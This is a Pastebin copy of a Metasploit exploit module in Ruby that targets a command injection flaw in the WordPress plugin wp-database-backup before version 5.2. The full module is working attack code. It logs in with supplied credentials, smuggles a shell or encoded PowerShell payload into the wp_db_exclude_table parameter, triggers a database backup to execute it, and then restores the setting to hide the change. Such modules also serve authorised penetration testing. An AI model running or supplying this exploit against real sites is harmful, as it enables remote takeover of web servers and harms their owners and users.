Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::CmdStager
- include Msf::Exploit::Powershell
- include Msf::Exploit::Remote::HTTP::Wordpress
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'WP Database Backup RCE',
- 'Description' => %q(
- There exists a command injection vulnerability in the Wordpress plugin
- `wp-database-backup` for versions < 5.2.
- For the backup functionality, the plugin generates a `mysqldump` command
- to execute. The user can choose specific tables to exclude from the backup
- by setting the `wp_db_exclude_table` parameter in a POST request to the
- `wp-database-backup` page. The names of the excluded tables are included in
- the `mysqldump` command unsanitized. Arbitrary commands injected through the
- `wp_db_exclude_table` parameter are executed each time the functionality
- for creating a new database backup are run.
- Authentication is required to successfully exploit this vulnerability.
- ),
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Mikey Veenstra / Wordfence', # Vulnerability Discovery
- 'Shelby Pace' # Metasploit module
- ],
- 'References' =>
- [
- [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
- ],
- 'Platform' => [ 'win', 'linux' ],
- 'Arch' => [ ARCH_X86, ARCH_X64 ],
- 'Targets' =>
- [
- [
- 'Windows',
- {
- 'Platform' => 'win',
- 'Arch' => [ ARCH_X86, ARCH_X64 ]
- }
- ],
- [
- 'Linux',
- {
- 'Platform' => 'linux',
- 'Arch' => [ ARCH_X86, ARCH_X64 ],
- 'CmdStagerFlavor' => 'printf'
- }
- ]
- ],
- 'DisclosureDate' => '2019-04-24',
- 'DefaultTarget' => 0
- ))
- register_options(
- [
- OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
- OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
- OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
- ])
- end
- def check
- return CheckCode::Unknown unless wordpress_and_online?
- changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => changelog_uri
- )
- if res && res.code == 200
- version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
- return CheckCode::Detected unless version && version.length > 1
- vprint_status("Version of wp-database-backup detected: #{version[1]}")
- return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
- end
- CheckCode::Safe
- end
- def exploit
- cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
- fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie
- res = create_exclude_table(cookie)
- nonce = get_nonce(res)
- create_backup(cookie, nonce)
- clear_exclude_table(cookie)
- end
- def create_exclude_table(cookie)
- @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => @exclude_uri,
- 'cookie' => cookie,
- 'vars_get' => { 'page' => 'wp-database-backup' }
- )
- fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
- print_good('Reached the wp-database-backup settings page')
- if datastore['TARGET'] == 1
- comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
- comm_payload = comm_payload.join('&&')
- comm_payload = comm_payload.gsub('\'', '')
- comm_payload = "; #{comm_payload} ;"
- else
- comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
- end
- table_res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => @exclude_uri,
- 'cookie' => cookie,
- 'vars_post' =>
- {
- 'wpsetting' => 'Save',
- 'wp_db_exclude_table[wp_comment]' => comm_payload
- }
- )
- fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
- print_good('Successfully added payload as an excluded table')
- res.get_html_document
- end
- def get_nonce(response)
- fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
- div_res = response.at('p[@class="submit"]')
- fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
- wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
- fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
- wpnonce[1]
- end
- def create_backup(cookie, nonce)
- first_res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => @exclude_uri,
- 'cookie' => cookie,
- 'vars_get' =>
- {
- 'page' => 'wp-database-backup',
- '_wpnonce' => nonce,
- 'action' => 'createdbbackup'
- }
- )
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => @exclude_uri,
- 'cookie' => cookie,
- 'vars_get' =>
- {
- 'page' => 'wp-database-backup',
- 'notification' => 'create'
- }
- )
- fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
- print_good('Successfully created a backup of the database')
- end
- def clear_exclude_table(cookie)
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => @exclude_uri,
- 'cookie' => cookie,
- 'vars_post' =>
- {
- 'wpsetting' => 'Save',
- 'wp_db_exclude_table[wp_comment]' => 'wp_comment'
- }
- )
- fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
- print_good('Successfully deleted the payload from the excluded tables list')
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement